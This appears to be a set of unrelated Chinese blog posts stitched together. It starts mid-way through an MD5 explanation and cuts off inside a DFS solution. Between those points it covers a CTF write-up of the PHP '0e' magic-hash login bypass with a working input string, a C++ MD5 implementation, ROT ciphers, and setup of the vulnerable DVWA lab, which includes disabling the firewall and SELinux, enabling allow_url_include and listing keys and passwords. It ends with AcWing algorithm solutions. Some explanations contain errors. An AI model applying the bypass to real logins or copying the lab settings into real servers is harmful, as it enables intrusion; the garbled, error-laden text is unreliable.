在第一步结果之后再填充上原消息的长度，可用来进行的存储长度为64位。如果消息长度大于264，则只使用其低64位的值，即（消息长度 对 264取模）。

在此步骤进行完毕后，最终消息长度就是512的整数倍。

3、数据处理

准备需要用到的数据：

• 4个常数： A = 0x67452301, B = 0x0EFCDAB89, C = 0x98BADCFE, D = 0x10325476;
• 4个函数：F(X,Y,Z)=(X & Y) | ((~X) & Z); G(X,Y,Z)=(X & Z) | (Y & (~Z)); H(X,Y,Z)=X ^ Y ^ Z; I(X,Y,Z)=Y ^ (X | (~Z));

把消息分以512位为一分组进行处理，每一个分组进行4轮变换，以上面所说4个常数为起始变量进行计算，

重新输出4个变量，以这4个变量再进行下一分组的运算，如果已经是最后一个分组，则这4个变量为最后的结果，即MD5值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

运算（6 & 2）

6的二进制：0110

2的二进制：0010
6      000···000 0110（一共32位）

&（相同位置都为1，才能去1，否则为0）
2      000···000 0010（一共32位）
结果 000···000 0010

结果首位（32位的第一位）为0，是正数二进制，不需要转换，这结果为2。
与：1 & 1 = 1, 1 & 0 = 0, 0 & 1 = 0, 0 & 0 = 0;// 不同时为0，都是1时得1，都是2时得2
或：1 | 1 = 1, 1 | 0 = 1, 0 | 1 = 1, 0 | 0 = 0;//有1得1，都是0得0；
非：~0 = 1, ~1 = 0;//取反
异或运算（^）：0^0=0； 0^1=1；1^0=1；1^1=0; //不同时为1

具体计算的实现较为复杂，建议查阅相关书籍。

• 我们可以这么理解
  X：字符串长度
  要求
  X mod 512=448
  如果不行则加长度，进行填充，填充第一位为1，其余为0。
  接着 长度如果超过2的64次方 位，只取低64位，即对 2的64取模

接着分组进行循环运算，最后换位就变成了加密MD5

MD5的用处

• 用来检验文件是否被修改，通常和sha1或者sha256配合检查，比如txt文件中修改了一个字母，那么他的md5会完全不相同。

• 对于某些明文密码传输，需要保护，普通加密方式具有可逆性，但是MD5不可逆。但常常不会单独使用MD5进行，因为通常的密码都可以通过撞库来获取（撞库：通过用空间换时间的方式，由于MD5的唯一性，我可以用计算机跑出任何字符串的MD5，比如12345的MD5，可以跑出来，也可以通过别人分享来获取）

实战利用PHP弱类型来比较MD5

• 例子只演示MD5在PHP中的漏洞

• 什么是弱类型,众所周知PHP是一门弱语言，不必向 PHP 声明该变量的数据类型，PHP 会根据变量的值，自动把变量的值转换为正确的数据类型，但在这个转换过程中就有可能引发一些安全问题。

• 当一个字符串被当作一个数值来取值，其结果和类型如下:如果该字符串没有包含’.',‘e’,'E’并且其数值值在整形的范围之内，该字符串被当作int来取值。其他所有情况下都被作为float来取值，该字符串的开始部分决定了它的值，如果该字符串以合法的数值开始，则使用该数值，否则其值为0。

题目来自于bugku

https://ctf.bugku.com/challenges/detail/id/94.html

一进去我们可以看到题目是用MD5，同时用?a=a显示false。

• 知识点
  • PHP在处理哈希字符串时，会利用"!=“或”=="来对哈希值进行比较，它把每一个以"0E"开头的哈希值都解释为0，所以如果两个不同的密码经过哈希以后，其哈希值都是以"0E"开头的，那么PHP将会认为他们相同，都是0。
  • 比如s1885207154a这串字符串通过MD5加密后为0e509367213418206700842008763514

攻击者可以利用这一漏洞，通过输入一个经过哈希后以"0E"开头的字符串，即会被PHP解释为0，如果数据库中存在这种哈希值以"0E"开头的密码的话，他就可以以这个用户的身份登录进去，尽管并没有真正的密码。

输入 a=s1885207154a

成功绕过

最后附上c++版本的MD5实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126

#include "MD5.h"

/*4组计算函数*/
inline unsigned int F(unsigned int X, unsigned int Y, unsigned int Z)
{
    return (X & Y) | ((~X) & Z);
}
inline unsigned int G(unsigned int X, unsigned int Y, unsigned int Z)
{
    return (X & Z) | (Y & (~Z));
}
inline unsigned int H(unsigned int X, unsigned int Y, unsigned int Z)
{
    return X ^ Y ^ Z;
}
inline unsigned int I(unsigned int X, unsigned int Y, unsigned int Z)
{
    return Y ^ (X | (~Z));
}
/*4组计算函数结束*/

/*32位数循环左移实现函数*/
void ROL(unsigned int &s, unsigned short cx)
{
    if (cx > 32)cx %= 32;
    s = (s << cx) | (s >> (32 - cx));
    return;
}

/*B\L互转，接收UINT类型*/
void ltob(unsigned int &i)
{
    unsigned int tmp = i;//保存副本
    byte *psour = (byte*)&tmp, *pdes = (byte*)&i;
    pdes += 3;//调整指针，准备左右调转
    for (short i = 3; i >= 0; --i)
    {
        CopyMemory(pdes - i, psour + i, 1);
    }
    return;
}

/*
MD5循环计算函数，label=第几轮循环（1<=label<=4），lGroup数组=4个种子副本，M=数据（16组32位数指针）
种子数组排列方式: --A--D--C--B--，即 lGroup[0]=A; lGroup[1]=D; lGroup[2]=C; lGroup[3]=B;
*/
void AccLoop(unsigned short label, unsigned int *lGroup, void *M)
{
    unsigned int *i1, *i2, *i3, *i4, TAcc, tmpi = 0; //定义:4个指针； T表累加器； 局部变量
    typedef unsigned int(*clac)(unsigned int X, unsigned int Y, unsigned int Z); //定义函数类型
    const unsigned int rolarray[4][4] = {
        { 7, 12, 17, 22 },
        { 5, 9, 14, 20 },
        { 4, 11, 16, 23 },
        { 6, 10, 15, 21 }
    };//循环左移-位数表
    const unsigned short mN[4][16] = {
        { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15 },
        { 1, 6, 11, 0, 5, 10, 15, 4, 9, 14, 3, 8, 13, 2, 7, 12 },
        { 5, 8, 11, 14, 1, 4, 7, 10, 13, 0, 3, 6, 9, 12, 15, 2 },
        { 0, 7, 14, 5, 12, 3, 10, 1, 8, 15, 6, 13, 4, 11, 2, 9 }
    };//数据坐标表
    const unsigned int *pM = static_cast<unsigned int*>(M);//转换类型为32位的Uint
    TAcc = ((label - 1) * 16) + 1; //根据第几轮循环初始化T表累加器
    clac clacArr[4] = { F, G, H, I }; //定义并初始化计算函数指针数组

    /*一轮循环开始（16组->16次）*/
    for (short i = 0; i < 16; ++i)
    {
        /*进行指针自变换*/
        i1 = lGroup + ((0 + i) % 4);
        i2 = lGroup + ((3 + i) % 4);
        i3 = lGroup + ((2 + i) % 4);
        i4 = lGroup + ((1 + i) % 4);

        /*第一步计算开始: A+F(B,C,D)+M[i]+T[i+1] 注:第一步中直接计算T表*/
        tmpi = (*i1 + clacArr[label - 1](*i2, *i3, *i4) + pM[(mN[label - 1][i])] + (unsigned int)(0x100000000UL * abs(sin((double)(TAcc + i)))));
        ROL(tmpi, rolarray[label - 1][i % 4]);//第二步:循环左移
        *i1 = *i2 + tmpi;//第三步:相加并赋值到种子
    }
    return;
}

/*接口函数，并执行数据填充*/
unsigned int* MD5(const char* mStr)
{
    unsigned int mLen = strlen(mStr); //计算字符串长度
    if (mLen < 0) return 0;
    unsigned int FillSize = 448 - ((mLen * 8) % 512); //计算需填充的bit数
    unsigned int FSbyte = FillSize / 8; //以字节表示的填充数
    unsigned int BuffLen = mLen + 8 + FSbyte; //缓冲区长度或者说填充后的长度
    unsigned char *md5Buff = new unsigned char[BuffLen]; //分配缓冲区
    CopyMemory(md5Buff, mStr, mLen); //复制字符串到缓冲区

    /*数据填充开始*/
    md5Buff[mLen] = 0x80; //第一个bit填充1
    ZeroMemory(&md5Buff[mLen + 1], FSbyte - 1); //其它bit填充0，另一可用函数为FillMemory
    unsigned long long lenBit = mLen * 8ULL; //计算字符串长度，准备填充
    CopyMemory(&md5Buff[mLen + FSbyte], &lenBit, 8); //填充长度
    /*数据填充结束*/

    /*运算开始*/
    unsigned int LoopNumber = BuffLen / 64; //以16个字为一分组，计算分组数量
    unsigned int A = 0x67452301, B = 0x0EFCDAB89, C = 0x98BADCFE, D = 0x10325476;//初始4个种子，小端类型
    unsigned int *lGroup = new unsigned int[4]{ A, D, C, B}; //种子副本数组,并作为返回值返回
    for (unsigned int Bcount = 0; Bcount < LoopNumber; ++Bcount) //分组大循环开始
    {
        /*进入4次计算的小循环*/
        for (unsigned short Lcount = 0; Lcount < 4;)
        {
            AccLoop(++Lcount, lGroup, &md5Buff[Bcount * 64]);
        }
        /*数据相加作为下一轮的种子或者最终输出*/
        A = (lGroup[0] += A);
        B = (lGroup[3] += B);
        C = (lGroup[2] += C);
        D = (lGroup[1] += D);
    }
    /*转换内存中的布局后才能正常显示*/
    ltob(lGroup[0]);
    ltob(lGroup[1]);
    ltob(lGroup[2]);
    ltob(lGroup[3]);
    delete[] md5Buff; //清除内存并返回
    return lGroup;
}

rot密码其实可以看作是凯撒密码的一种变式

• 本质都是位移密码

特征

• rot5：只有数字进行了加密
• rot13：只有数字和字母进行了加密
• rot18：在rot13的基础上，步长改变
• rot47：对所有字符进行加密
  • rot47比较好识别，因为他的字符串加密往往是有着特殊符号比如

1
2

E9:D :D 7=28L2H`abcN
%wx$ x$ u{pvL2H`abcN

上面中的%$等符号

rot具体区别

• rot5：只将字符串中的数字进行加密，步数为5，同时在0-9十个数字进行循环，如1在rot5加密后为6，而6在rot5加密后为1

• rot13：只将字符串中的字母进行加密，步数为13，加密方式上最接近凯撒密码，分别在A-Z或a-z之间循环，如A在rot13加密后为N,Z在rot13加密后为M

• rot18:字面意思(5+13=18) 即将上述两种加密方式结合，分别对数字和字母进行相应的操作

• rot47:由于无论是rot5、rot13或rot18都只能对数字和字母进行相应的加密，而对“！@#￥%&”之类的符号却缺少加密，因此在此基础上引入ASCII码（对应图表见下）
  • ASCII值进行位置替换，如当前为小写字母z->K，0->_。

注意：用于ROT47编码的字符其ASCII值范围是33－126（原因是由于0-32以及127与字符表示无关！！）

• github:https://github.com/digininja/DVWA

• centos7:https://mirror.tuna.tsinghua.edu.cn/centos/7.9.2009/isos/x86_64/ (这里采用tuna[清华源])

配置centos基本环境

配置sudo

• 刚装好的centos默认用户不在sudo列表中

1
2
3
4
5
6

su //提升到root权限
vim /etc/sudoers //编辑sudoers，vim不习惯，可以用其他编辑
/root ALL=(ALL) ALL //不是vim跳过，`/`表示搜索  在这行的下面
impdx ALL=(ALL) ALL //`impdx`是当前的用户名
wq! //不是vim跳过，强制保存
exit //退出root用户

配置源

• 此处采用清华源 [可用中科大/网易/阿里/搜狐等]
• 具体参考：https://mirror.tuna.tsinghua.edu.cn/help/centos/

1
2
3
4
5

sudo sed -e 's|^mirrorlist=|#mirrorlist=|g' \
         -e 's|^#baseurl=http://mirror.centos.org|baseurl=https://mirrors.tuna.tsinghua.edu.cn|g' \
         -i.bak \
         /etc/yum.repos.d/CentOS-*.repo

1

sudo yum makecache

配置DVWA

• 安装相关依赖

1
2
3
4

sudo yum install mariadb*
sudo yum install php php-mysqli php-gd
sudo yum install httpd
sudo yum install git unzip

• 设置自启动

1
2
3
4

systemctl start mariadb
systemctl enable mariadb
systemctl start httpd
systemctl enable httpd

移动DVWA到www

• 下载可以用git clone /GUI界面直接浏览器下载/VMtools也可以

1
2
3
4
5

将下载好的DVWA-master.zip解压  
unzip DVWA-master.zip //解压  
mv DVWA-master.zip DVWA //修改一下名字  
mv DVWA /var/www/html //把文件夹移到apache下  
chown apache:apache -R /var/www/html //拇指

1
2
3
4
5
6

在html文件夹中
cd DVWA/ 进入文件夹  
其中README.md是官方的帮助文档，里面有很官方的搭建过程  
cd config/ 进入config/下修改一下配置文件  
使用cp命令保存原来文件，并复制一个文件改名为config.inc.php  
cp config.inc.php.dist config.inc.php

设置数据库

初始化数据库

1
2
3
4
5
6
7
8

 mysql -u root -p //进入数据库，初始化是回车进入，如果进入不了就先启动一下mariadb服务
Enter password:

MariaDB [(none)]> create database dvwa;

MariaDB [(none)]> grant all on dvwa.* todvwa@localhost identified by '123456';  
MariaDB [(none)]> flush privileges;  
MariaDB [(none)]> exit  

此时重启一下mysql服务：systemctl restart mariadb

修改一下DVWA的配置文件

• 可以自己去申请key，具体百度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

#vim config.inc.php  
$_DVWA['db_server' ]?? = 'localhost';

$_DVWA['db_database' ] = 'dvwa';

$_DVWA[ 'db_user']???? = 'dvwa';

$_DVWA['db_password' ] = '123456';  //这里是在数据库里面设置的密码

然后设置key：  
$_DVWA[ 'recaptcha_public_key' ]? ='6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg';

$_DVWA[ 'recaptcha_private_key' ] ='6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ';

修改一下php.ini这个文件  
vim /etc/php.ini  
直接搜索 allow_url_include = Off //搜索到这个之后把Off 改为On
````

- 重启一下服务

systemctl restart mariadb //重启数据库
systemctl restart httpd //重启apache
systemctl stop firewalld //关闭防火墙
setenforce 0 //关闭selinux

最后去浏览器测试一下网址http://ip/DVWA/login.phpip是centos的ip用户名是admin,密码是password创建一下就可以了

先说一下本题思路

• 1.看清题目，主要有俩个操作，合并和查询 。 总体思路是找到俩个祖宗节点，并且把俩个祖宗节点相连(其实就是改p[a的祖宗]=b的祖宗 比如p[3]=4，p[3]=p[4]=4,他们的祖宗都是4，)

• 2.合并是在一个数组中，利用下标和他所指向的值，如果他所指向的值一样，那么就是一个集合。用下表来记录具体数据。

• 3.查询直接查询祖宗节点，很好理解，就是比如说查询x，他就会查询p[x]的值，如果和x不一样，会查询find[p[x]]的值,这里有点绕，x如果和p[x]的值不一样，就查询find(p[x]),一个个找，找到祖宗节点，就是x和p[x]一样的节点，原始节点。

• 主要操作就是针对于祖宗节点进行的。

• 题目难点（个人愚见）：find函数，寻找祖宗节点的过程，下标和值的用法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

#include <iostream>

using namespace std;

const int N = 100010;

int p[N];
int find(int x)   //找祖宗节点的函数
{
  if(p[x] != x) p[x] = find(p[x]);
  return p[x];
}

bool only(int a,int b)  //判断是否在一个集合
{
  return find(a)==find(b);
}


int main()
{
  int a,b;
  char str,test;
  int n,m;

  scanf("%d%d",&n,&m);
  scanf("%c",&test);  //消除回车

  for(int i = 1;i<=n; i++)
    p[i]=i;

  while(m--)
  {

    scanf("%c %d %d",&str,&a,&b);
    scanf("%c",&test);  //消除回车
    // printf("%c%d%d\n",str,a,b);
    if(str == 'M')
    {
      p[find(a)]=find(b); //合并操作，
    }
    else if(str == 'Q')
    {
      if(only(a,b)) printf("Yes\n");
      else printf("No\n");
    }

  }

  return 0;
}

原题链接

https://www.acwing.com/problem/content/description/789/

2021/4/19 21:10

思路

• 先分开，分成俩个组
• 用双指针遍历，小的放入tmp数组
• 如果有剩余，把剩余放入tmp数组
• 把tmp的数据替换到q数组中

后续会更新

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

#include <iostream>

using namespace std;

const int N = 1000010;

int n;
int q[N],tmp[N];

void merge_sort(int *q,int l ,int r)
{
  if(l >= r) return ;

  int mid = l + r >> 1;

  merge_sort(q, l, mid),merge_sort(q, mid+1, r);      // 分左边右边，俩组数据

  int k = 0,i = l,j = mid + 1;        // k表示，tmp当前放入的第几个数

  while(i <= mid&&j <= r)   // 俩组数据比较大小，双指针算法，小的放入tmp
    if(q[i] <= q[j]) tmp[k ++ ]=q[ i ++];
    else tmp[k ++] = q[j ++];

  while(i <= mid) tmp[k ++] = q[i ++];      //把剩余的数据放进tmp，从tmp[k]开始放
  while(j <= r) tmp[k ++] = q[j ++];

  for(int i=l,j=0;i<=r;i++,j++) q[i]=tmp[j];  //把q的数据换成tmp的数据

}
int main()
{
  scanf("%d",&n);
  for(int i=0;i<n;i++)
    scanf("%d",&q[i]);

  merge_sort(q,0,n-1);

  for(int i=0;i<n;i++)
    printf("%d ",q[i]);

    return 0;
}

原题链接

https://www.acwing.com/problem/content/description/800/

前缀和 && 差分

一维前缀和&&差分

前缀和

1

sum[i]=a[1]+a[2]+a[3].....a[i];

可以根据以上结果推出公式a[n] = a[n-1] + a[n]

差分

差分就是前缀和的逆运算。关系如下

如果 前缀和可以表示为f(x)=d 查分就是d=f(x)

具体看以下推理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

a数组： a1, a2, a3, …, an

b数组：b1, b2, b3, …, bn

**a数组是b数组的前缀和**

a1 = b1;
a2 = b1 + b2;
a3 = b1 + b2 + b3;

**a数组是b数组的前缀和**

那么我们来看b=啥

a[0]= 0;

b[1] = a[1] - a[0];

b[2] = a[2] - a[1];

b[3] =a [3] - a[2];

........

b[n] = a[n] - a[n-1];

… .....


b(n) = a(n) - a(n-1) ----> an = b1 + b2 + b3 + … + bn

• 前缀和的差分=原序列
• 差分的前缀和=原序列
• 
• 所谓差分就是进行逆运算，让原数组成为新数组的前缀和，从而创造新数组。
• 所谓前缀和就是在这个数之前的数 和 这个数相加的总和，被称为前缀和。

1
2
3

核心部分
    b[l] += c;
    b[r + 1] -= c;

二维矩阵 前缀和 && 差分

矩阵前缀和

1
2

核心部分

• 如图所示

1
2
3
4
5
6
7

核心部分
s[i][j] = s[i-1][j]+s[i][j-1]-s[i-1][j-1]+a[i][j];

计算的是x1，y1到x2，y2的每个数的和

s[x2,y2] - s[x1-1,y2] - s[x2,y1-1] + s[x1-1, y1-1]

矩阵差分

• b[x1][ y1 ] +=c ; 对应图1 ,让整个a数组中蓝色矩形面积的元素都加上了c。

• b[x1,][y2+1]-=c ; 对应图2 ,让整个a数组中绿色矩形面积的元素再减去c，使其内元素不发生改变。

• b[x2+1][y1]- =c ; 对应图3 ,让整个a数组中紫色矩形面积的元素再减去c，使其内元素不发生改变。

• b[x2+1][y2+1]+=c; 对应图4,让整个a数组中红色矩形面积的元素再加上c，红色内的相当于被减了两次，再加上一次c，才能使其恢复。

1
2
3
4
5
6
7
8

自个儿推


核心部分
b[i][j]+=a[i][j];
b[i+1][j]-=a[i][j];
b[i][j+1]-=a[i][j];
b[i+1][j+1]+=a[i][j];

相关题目

• 全部来自于acwing

前缀和

输入一个长度为 n的整数序列。

接下来再输入 m
个询问，每个询问输入一对 l,r。

对于每个询问，输出原序列中从第 l
个数到第 r个数的和。

输入格式




第一行包含两个整数 n 和 m。

第二行包含 n个整数，表示整数数列。

接下来 m
行，每行包含两个整数 l 和 r，表示一个询问的区间范围

输出格式

共 m行，每行输出一个询问的结果。
数据范围

1≤l≤r≤n,

1≤n,m≤100000,

−1000≤数列中元素的值≤1000

输入样例：

5 3

2 1 3 6 4

1 2

1 3

2 4

输出样例：

3

6

10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

#include <iostream>
#include <cstdio>

using namespace std;

const int N = 1e5+10;
int a[N];
int main()
{
  int n,m;
  int l,r;
  scanf("%d%d",&n,&m);
  for(int i = 1;i <= n;i ++)
    scanf("%d",&a[i]);

  for(int i = 1; i <= n;i ++)
    a[i] = a[i-1] + a[i];

  // //测试
  // for(int i = 1;i <= n;i ++)
  //   printf("%d ",a[i]);
  // puts("");


  while(m--)
  {
    cin >> l >> r;
    printf("%d\n",a[r]-a[l-1]);
  }
  return 0;
}

矩阵前缀和

输入一个 n 行 m 列的整数矩阵，再输入 q 个询问，每个询问包含四个整数 x1,y1,x2,y2，表示一个子矩阵的左上角坐标和右下角坐标。

接下来 n行，每行包含 m个整数，表示整数矩阵。

接下来 q行，每行包含四个整数 x1,y1,x2,y2，表示一组询问。
输出格式

共 q行，每行输出一个询问的结果。
数据范围

1≤n,m≤1000

1≤q≤200000,

1≤x1≤x2≤n,

1≤y1≤y2≤m,

−1000≤矩阵内元素的值≤1000

输入样例：

3 4 3

1 7 2 4

3 6 2 8

2 1 2 3

1 1 2 2

2 1 3 4

1 3 3 4

输出样例：

17

27

21

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

#include <iostream>
#include <cstdio>

using namespace std;

const int N = 1010;
int a[N][N],s[N][N];
int main()
{
  int n,m,q;
  scanf("%d%d%d",&n,&m,&q);
  for(int i = 1;i <= n ;i++)
    for(int j = 1;j <= m;j ++)
      scanf("%d",&a[i][j]);

  for(int i = 1;i <= n;i++)
    for(int j = 1;j <= m;j ++)
      s[i][j] = s[i-1][j]+s[i][j-1]-s[i-1][j-1]+a[i][j];

  while(q--)
  {
    int x1,x2,y1,y2;
    scanf("%d%d%d%d",&x1,&y1,&x2,&y2);
    printf("%d\n",s[x2][y2]-s[x1-1][y2]-s[x2][y1-1]+s[x1-1][y1-1]);
  }
  return 0;
}

差分

输入一个长度为 n的整数序列。

接下来输入 m个操作，每个操作包含三个整数 l,r,c，表示将序列中 [l,r] 之间的每个数加上 c。

请你输出进行完所有操作后的序列。
输入格式

第一行包含两个整数 n
和 m。

第二行包含 n个整数，表示整数序列。

接下来 m行，每行包含三个整数 l，r，c，表示一个操作。
输出格式

共一行，包含 n个整数，表示最终序列。

数据范围

1≤n,m≤100000

1≤l≤r≤n,

−1000≤c≤1000,

−1000≤整数序列中元素的值≤1000

输入样例：

1
2
3
4
5

6 3
1 2 2 1 2 1
1 3 1
3 5 1
1 6 1

输出样例：

1

3 4 5 3 4 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

#include <iostream>
#include <cstdio>

using namespace std;

const int N = 1e5+10;
int a[N];
int b[N];
int main()
{
  int n,m;
  scanf("%d%d",&n,&m);
  for(int i = 1;i <= n;i++)
    scanf("%d",&a[i]);

  //构造差分数组b1=a1,b2=a2-a1,b[n]=a[n]-a[n-1];
  for(int i = 1;i <= n;i++)
    b[i]=a[i]-a[i-1];

    //看链接 https://www.acwing.com/solution/content/26588/
  while(m--)
  {
    int l,r,c;
    scanf("%d%d%d",&l,&r,&c);
    b[l]+=c;
    b[r+1]-=c;
  }

  //把差分数组还原成原数组
  for(int i = 1;i <= n;i ++)
    b[i]+=b[i-1];

  for(int i = 1;i <= n;i++)
    printf("%d ",b[i]);
  return 0;
}

矩阵差分

输入一个 n 行 m 列的整数矩阵，再输入 q 个操作，每个操作包含五个整数 x1,y1,x2,y2,c，其中 (x1,y1) 和 (x2,y2)表示一个子矩阵的左上角坐标和右下角坐标。

每个操作都要将选中的子矩阵中的每个元素的值加上 c。

请你将进行完所有操作后的矩阵输出。

输入格式

第一行包含整数 n,m,q。

接下来 n行，每行包含 m个整数，表示整数矩阵。

接下来 q行，每行包含 5 个整数 x1,y1,x2,y2,c，表示一个操作。

输出格式

共 n行，每行 m个整数，表示所有操作进行完毕后的最终矩阵。

数据范围

1
2
3
4
5
6

1≤n,m≤1000,
1≤q≤100000,
1≤x1≤x2≤n,
1≤y1≤y2≤m,
−1000≤c≤1000,
−1000≤矩阵内元素的值≤1000

输入样例：

1
2
3
4
5
6
7

3 4 3
1 2 2 1
3 2 2 1
1 1 1 1
1 1 2 2 1
1 3 2 3 2
3 1 3 4 1

输出样例：

1
2
3

2 3 4 1
4 3 4 1
2 2 2 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

#include <cstdio>
#include <iostream>

using namespace std;

const int N = 5010;
int a[N][N],b[N][N];
void insert(int x1,int y1,int x2,int y2,int c)
{
  b[x1][y1] += c;
  b[x1][y2+1] -= c;
  b[x2+1][y1] -= c;
  b[x2+1][y2+1] += c;

}
int main()
{

  int n,m,q;

  //输入
  scanf("%d%d%d",&n,&m,&q);

  for(int i = 1;i <= n;i++)
    for(int j = 1;j <= m;j++)
      scanf("%d",&a[i][j]);

  //根据公式计算查分数组
  for(int i = 1;i <= n;i++)
    for(int j = 1;j <= m;j++)
      insert(i,j,i,j,a[i][j]);

  //对差分数组进行+c操作
  while(q--)
  {
    int x1,y1,x2,y2,c;
    scanf("%d%d%d%d%d",&x1,&y1,&x2,&y2,&c);
    insert(x1,y1,x2,y2,c);

  }

  //转换成a数组，由差分数组，求前缀和
  for(int i = 1; i <= n;i ++)
    for(int j = 1; j <= m;j ++)
      b[i][j] += b[i-1][j] + b[i][j-1] - b[i-1][j-1];

  //输出
  for(int i = 1; i <= n;i ++)
  {
    for(int j = 1; j <= m;j ++)
      printf("%d ",b[i][j]);
  puts("");
  }
  return 0;

}

原题链接

https://www.acwing.com/problem/content/description/790/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

#include <iostream>
#include <cstdio>

using namespace std;

typedef long long LL;

const int N = 100010;

int n;
int q[N],tmp[N];

LL merge_sort(int l, int r)
{
  if(l >= r) return 0;

  int mid = l + r >> 1;
  LL res = merge_sort(l, mid) + merge_sort(mid+1, r);

  //归并
  int k = 0,i = l,j = mid + 1;
  while(i <= mid && j <= r)
    if(q[i] <= q[j]) tmp[k ++] = q[i ++];
    else
    {
      tmp[k ++] = q[j ++];
      //res是逆序对的数量，请看画图。
      res += mid - i + 1;
    }

  // 把剩下的数扔进tmp
  while(i <= mid) tmp[k ++] = q[i ++];
  while(j <= r) tmp[k ++] = q[j ++];

  //替换原序列
  for(int i=l,j=0;i<=r;i++,j++) q[i]=tmp[j];

  //返回逆序对的数量
  return res;
}
int main()
{
  cin >> n;
  for(int i=0;i<n;i++)
    cin >> q[i];

  cout << merge_sort(0, n-1) << endl;

  return 0;
}

原题链接

https://www.acwing.com/problem/content/description/167/

思路

想法

1.排序优化 //可略过，不加也可以ac

2.让猫坐满一辆车

3.开新的车

4.重复2-3

具体代码思路（2-3步骤）

1.确定参数 (int u(第几只猫),int k(第几辆车))

2.跳出条件 (u==n) 当猫走完时，跳出，n为总得猫数量，已经枚举完最后一个猫了。所以跳出，为什么是u==n，因为数组是从0开始的，最后一个猫为n-1。

3.判断当前这只猫，简称u猫(判断u猫能不能放在之前的车中)

• for循环,枚举第一辆车到现在所有的车

• 如果可以放得下u猫，则进入新的dfs（u+1,k）

• (u+1,k),

可以放得下猫所以车辆数不变,k就不变，u猫被放进去了，下一只猫就是u+1猫。

1
2
3
4
5
6
7
8
9
10

for(int i=0;i<k;i++)
//从第一辆车开始遍历，遍历到k辆车，如果可以塞下第u只猫则执行；
{
  if(a[u]+car[i]<=w)
  {
    car[i]+=a[u];
    dfs(u+1,k);
    car[i]-=a[u];
  }
}

• 如果放不下猫，则开一辆新车dfs(u+1,k+1)

dfs(下一只猫，下一辆车)

1
2
3
4

car[k]=a[u];
dfs(u+1,k+1);
car[k]=0;

• 这里回溯为什么是car[k]=0,因为没放猫时，车的重量是0

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61

#include <bits/stdc++.h>

using namespace std;

int n,w,ans=20;
int a[20],car[20];

int cmp(int a,int b)    //从大到小 函数sort第三个参数
{
  return a>b;
}





void dfs(int u,int k)
{
  if(k>=ans) return;        //注意等于ans可以减少时间，不加等于号800多ms，加了20多ms
  if(u==n)          //u个猫等于n个猫，猫坐完车的时候
  {
    ans=k;          
    return;
  }
//-----------------------------------start
  for(int i=0;i<k;i++)  //从第一辆车开始遍历，遍历到k辆车，如果可以塞下第u只猫则执行；
  {
    if(a[u]+car[i]<=w)
    {
      car[i]+=a[u];
      dfs(u+1,k);
      car[i]-=a[u];
    }
  }
//-------------------------------------end
  //开新车
  car[k]=a[u];
  dfs(u+1,k+1);
  car[k]=0;

}






int main()
{
//---------输入----------
  scanf("%d%d",&n,&w);
  for(int i=0;i<n;i++)
    scanf("%d",&a[i]);
//---------排序优化----------
  sort(a,a+n,cmp);
//---------------------------------
  dfs(0,0);

  printf("%d",ans);
  return 0;
}

请注意：本文只包含dfs的内容 /如有错误或者意见，欢迎留言

• 总体思路

模拟机器人走路，在符合条件的情况下，上下左右走，走到符合条件的格子，标记/累加。走完即可。

• 条件的判定

1.越界情况，x，y的值得在符合二维数组范围的情况下进行
2.走过的点，不需要累加/标记
3.x,y坐标相加是否大于k的时

• dfs参数选择

最近看到一条定理：一直在变化的数，就可以用于dfs的参数。
这里我选择了，x,y坐标的值作为dfs的参数

• 小思考（没有尝试过，成功的小伙伴留言一下下）

1
2
3
4
5

是否可以直接遍历出x,y相加的值，
记录于二维数组中，
从而直接得出答案(没试过)；
提示：不能直接判断哦，看清楚上下左右；

• 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

class Solution {
public:
int k,row,col;          //row代表行，col代表列
int n;  //用于答案计数
int a[100][100];  
    int movingCount(int threshold, int rows, int cols)
    {
        memset(a,0,sizeof(a));
        k=threshold,row=rows,col=cols;
        dfs(0,0);
        return n;
    }
    int he(int x,int y) //用于计算x，y的和(题意中的和)
    {
      int res=0;
      while(x)
      {
        res+=x%10;
        x/=10;
      }
      while(y)
      {
        res+=y%10;
        y/=10;
      }
      return res;
    }
    void dfs(int x,int y)
    {
